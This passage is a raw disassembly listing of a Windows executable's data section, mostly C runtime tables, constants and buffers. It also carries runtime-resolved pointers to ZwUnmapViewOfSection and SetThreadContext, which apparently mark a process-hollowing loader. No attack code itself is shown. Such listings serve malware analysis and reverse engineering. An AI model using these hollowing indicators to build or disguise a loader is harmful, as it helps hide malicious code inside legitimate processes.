'tCurrentThreadId',0 align 2 dw 13Bh aGetcurrentproc db 'GetCurrentProcessId',0 db 0C0h ; À db 1, 47h, 65h aTsystemtimeasf db 'tSystemTimeAsFileTime',0 dw 16Ch aGetlocaleinfoa db 'GetLocaleInfoA',0 align 4 dd 69560379h, 61757472h, 6F72506Ch, 74636574h, 1BB0000h dd 53746547h, 65747379h, 666E496Dh, 454B006Fh, 4C454E52h dd 642E3233h, 6C6Ch, 654D01DEh, 67617373h, 786F4265h, 53550041h dd 32335245h, 6C6C642Eh, 3Ch dup(0) _rdata ends ; Section 3. (virtual address 0000A000) ; Virtual size : 0003A73C ( 239420.) ; Section size in file : 00000600 ( 1536.) ; Offset to raw data for section: 00008600 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 40A000h dword_40A000 dd 0 dd offset ___security_init_cookie dd offset sub_407908 dd offset sub_407925 dword_40A010 dd 0 dword_40A014 dd 0 dd offset ___onexitinit dd offset ___initmbctable dword_40A020 dd 0 dword_40A024 dd 0 dword_40A028 dd 0 dword_40A02C dd 0 dword_40A030 dd 4 dup(0) dword_40A040 dd 8C00h ; sub_4010AD+A9r ... dd offset aEeeeeeeeeeeeee ; "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"... dd offset aDeeeeeeeeeeeee ; "DEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"... dd offset aFeeeeeeeeeeeee ; "FEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"... dd 9875h, 9873h off_40A058 dd offset __fpmath ; DATA XREF: __cinitr dd offset nullsub_1 dd offset nullsub_1 off_40A064 dd offset __exit ; DATA XREF: __amsg_exit+1Cr dword_40A068 dd 2 ; __FF_MSGBANNER+Er dd 10h off_40A070 dd offset __fptrap ; DATA XREF: __cfltcvt_init+5w off_40A074 dd offset __fptrap ; DATA XREF: __cfltcvt_init+Aw off_40A078 dd offset __fptrap ; DATA XREF: __cfltcvt_init+14w off_40A07C dd offset __fptrap ; DATA XREF: __cfltcvt_init+1Ew off_40A080 dd offset __fptrap ; DATA XREF: __cfltcvt_init+28w off_40A084 dd offset __fptrap ; DATA XREF: __cfltcvt_init+32w dword_40A088 dd 2 ; __NMSG_WRITE+3Ar ... off_40A08C dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r ; __NMSG_WRITE+112r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 408894h, 9, 408868h, 0Ah, 4087D0h, 10h, 4087A4h dd 11h, 408774h, 12h, 408750h, 13h, 408724h, 18h, 4086ECh dd 19h, 4086C4h, 1Ah, 40868Ch, 1Bh, 408654h, 1Ch, 40862Ch dd 1Dh, 408588h, 78h, 408578h, 79h, 408568h, 7Ah, 408558h dd 0FCh, 408554h, 0FFh, 408544h dword_40A120 dd 0C0000005h, 0Bh, 0 ; __XcptFilter+Co dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_40A198 dd 3 dword_40A19C dd 7 dword_40A1A0 dd 0Ah ; __XcptFilter+6r dword_40A1A4 dd 8Ch ; __XcptFilter+BAw ... dd 0FFFFFFFFh, 0A80h dword_40A1B0 dd 1 ; _tolower+36r ... byte_40A1B4 db 2Eh ; DATA XREF: __forcdecpt+40r ; .text:0040315Ar ... align 4 dd 1 off_40A1BC dd offset asc_408A70 ; DATA XREF: __forcdecpt:loc_40312Ar ; .text:004046A3r ... ; " ((((( H" off_40A1C0 dd offset word_408C72 ; DATA XREF: .text:0040469Dr dword_40A1C4 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_40A1DC dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh, 3 dup(0)dword_40A200 dd 0BB40E64Eh ; sub_404BC3+6r ... align 8 byte_40A208 db 1 ; DATA XREF: __setmbcp+120r db 2, 4, 8 align 10h dword_40A210 dd 3A4h dword_40A214 dd 82798260h dd 21h, 0 dword_40A220 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_40A300 dd 19930520h, 3 dup(0) ; __NLG_Notify+2o dword_40A310 dd 1 align 8 dword_40A318 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) dd 400FC350h, 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_40A478 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: ___multtenpow12+23o dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 3 dup(0) byte_40A5E0 db 0 ; DATA XREF: sub_4010AD+49w ; sub_401313+2Ew ... align 4 dword_40A5E4 dd 0 ; sub_4010AD+Er ... ; HANDLE hFile hFile dd 0 ; DATA XREF: sub_401759+23w ; sub_401759+4Cr byte_40A5EC db 0 ; DATA XREF: sub_4010AD+1Bw ; sub_4010AD+43w ... align 10h ; HANDLE hThread hThread dd 0 ; DATA XREF: sub_4015DE+150w ; sub_401745r ; struct _MEMORY_BASIC_INFORMATION Buffer Buffer _MEMORY_BASIC_INFORMATION <?> ; DATA XREF: sub_4014E9+4o ; sub_401501+94r dd 2 dup(?) dword_40A618 dd ? byte_40A61C db ? ; DATA XREF: sub_4010AD+2Bw ; sub_4010AD+34w ... align 10h byte_40A620 db ? ; DATA XREF: sub_401088+17w ; sub_4010AD+85o ... dword_40A621 dd ? ; sub_4010AD+CCr ... align 4 dd 4 dup(?) byte_40A638 db ? ; DATA XREF: sub_4010AD+BDw align 4 dd 9 dup(?) byte_40A660 db ? ; DATA XREF: sub_4010AD+62w align 4 dd 27h dup(?) byte_40A700 db ? ; DATA XREF: sub_4010AD+11Bw align 4 dd 0E690h dup(?) dword_444144 dd ? dword_444148 dd ? ; WinMain(x,x,x,x)+157r byte_44414C db ? ; DATA XREF: sub_401745+6w ; WinMain(x,x,x,x)+165w align 10h ; DWORD nNumberOfBytesToRead nNumberOfBytesToRead dd ? ; DATA XREF: sub_4010AD+25r ; sub_401759+2Ew ... dword_444154 dd ? ; sub_4015DE+74w ... dword_444158 dd ? ; resolved to->NTDLL.ZwUnmapViewOfSection ; sub_407925+17w dword_44415C dd ? ; resolved to->KERNEL32.SetThreadContext ; sub_407908+17w dword_444160 dd ? ; .text:00401DBFw dword_444164 dd ? ; char *dword_444168 dword_444168 dd ? ; __setenvp:loc_403B80r ... align 10h dword_444170 dd ? ; .text:_fast_error_exitr ... dword_444174 dd ? ; .text:004030D5w ... ; int dword_444178 dword_444178 dd ? ; _realloc:loc_406D77r ... dword_44417C dd ? byte_444180 db ? ; DATA XREF: __cftoe+3r __cftoe+8Dr ... align 4 dword_444184 dd ? byte_444188 db ? ; DATA XREF: __cftog+57w align 4 dd 3 dup(?) dword_444198 dd ? dword_44419C dd ? dword_4441A0 dd ? dword_4441A4 dd ? ; ___heap_select+9r ... dword_4441A8 dd ? dword_4441AC dd ? dword_4441B0 dd ? align 8 ; void *dword_4441B8 dword_4441B8 dd ? ; __setenvp:loc_403C1Fr ... dd 3 dup(?) dword_4441C8 dd ? align 10h byte_4441D0 db ? ; DATA XREF: _doexit+2Dw align 4 dword_4441D4 dd ? dword_4441D8 dd ? dword_4441DC dd ? dword_4441E0 dd ? ; __XcptFilter+73w ... align 8 ; char Filename[] Filename db 104h dup(?) ; DATA XREF: __setargv+1Co byte_4442EC db ? ; DATA XREF: __setargv+23w align 10h dword_4442F0 dd ? ; ___crtGetEnvironmentStringsA+24w ... word_4442F4 dw ? ; DATA XREF: __fltout+1Fo __fltout+4Dr byte_4442F6 db ? ; DATA XREF: __fltout+41r align 4 dword_4442F8 dd 6 dup(?) dword_444310 dd ? dword_444314 dd ? dword_444318 dd ? dword_44431C dd ? dword_444320 dd ? ; ___crtMessageBoxA+38w ... dword_444324 dd ? ; ___crtMessageBoxA:loc_405386r dword_444328 dd ? ; ___crtMessageBoxA+D6r dword_44432C dd ? ; ___crtMessageBoxA:loc_405341r dword_444330 dd ? ; ___crtMessageBoxA+9Cr dword_444334 dd ? ; .text:0040563Fw ... dword_444338 dd ? ; __ValidateEH3RN+13Fr ... align 10h dword_444340 dd ? ; __ValidateEH3RN+1C4r ... dd 0Fh dup(?) ; volatile LONG Target Target dd ? ; DATA XREF: __ValidateEH3RN+12Co ; __ValidateEH3RN+191o ... dword_444384 dd ? ; ___crtGetStringTypeA+2Ew ... align 10h ; LCID Locale Locale dd ? ; DATA XREF: __isctype+50r _tolower+5r ... align 10h ; UINT dword_4443A0 dword_4443A0 dd ? ; _tolower+86r ... align 8 dword_4443A8 dd ? ; ___crtLCMapStringA+31w ... dword_4443AC dd ? ; .text:00406FBAr ... ; LCID dword_4443B0 dword_4443B0 dd ? ; _setSBUpLow+84r ... dword_4443B4 dd ? ; __setmbcp+14Dw ... align 10h byte_4443C0 db ? ; DATA XREF: _setSBCS+6o __setmbcp+A7o ... byte_4443C1 db ? ; DATA XREF: _parse_cmdline+47r ; _parse_cmdline+11Dr ... align 4 dd 40h dup(?) ; UINT CodePage CodePage dd ? ; DATA XREF: __ismbbkanar _setSBCS+10w ... align 10h dword_4444D0 dd 4 dup(?) ; __setmbcp+162o ... byte_4444E0 db ? ; DATA XREF: _setSBUpLow:loc_4057E3w ; _setSBUpLow:loc_405800w ... align 4 dd 3Fh dup(?) ; UINT uNumber uNumber dd ? ; DATA XREF: __ioinit+1Fw ; __ioinit:loc_403FEEr ... dd 7 dup(?) dword_444600 dd ? ; __ioinit+3Cr ... dword_444604 dd 3Fh dup(?) dword_444700 dd ? ; .text:00404129o dword_444704 dd ? ; _doexit:loc_4036C5r ... ; void *dword_444708 dword_444708 dd ? dword_44470C dd ? ; __setenvp+3r ... dd ? ; void *dword_444714 dword_444714 dd ? ; ___sbh_free_block+21Cr ... dword_444718 dd ? ; .text:00402120r ... ; LPVOID lpMem lpMem dd ? ; DATA XREF: .text:004020E6r ; .text:loc_40212Ar ... dword_444720 dd ? ; __get_sbh_threshold+Er ... dword_444724 dd ? ; ___sbh_free_block+300w ... dword_444728 dd ? ; ___sbh_alloc_new_region+5r ... dword_44472C dd ? ; ___sbh_free_block+249r ... ; HANDLE hHeap hHeap dd ? ; DATA XREF: __heap_alloc+38r ; __heap_init+19w ... dword_444734 dd ? ; __heap_alloc:loc_4019C5r ... dword_444738 dd ? ; __wincmdln:loc_403B22r ... align 100h _data ends end start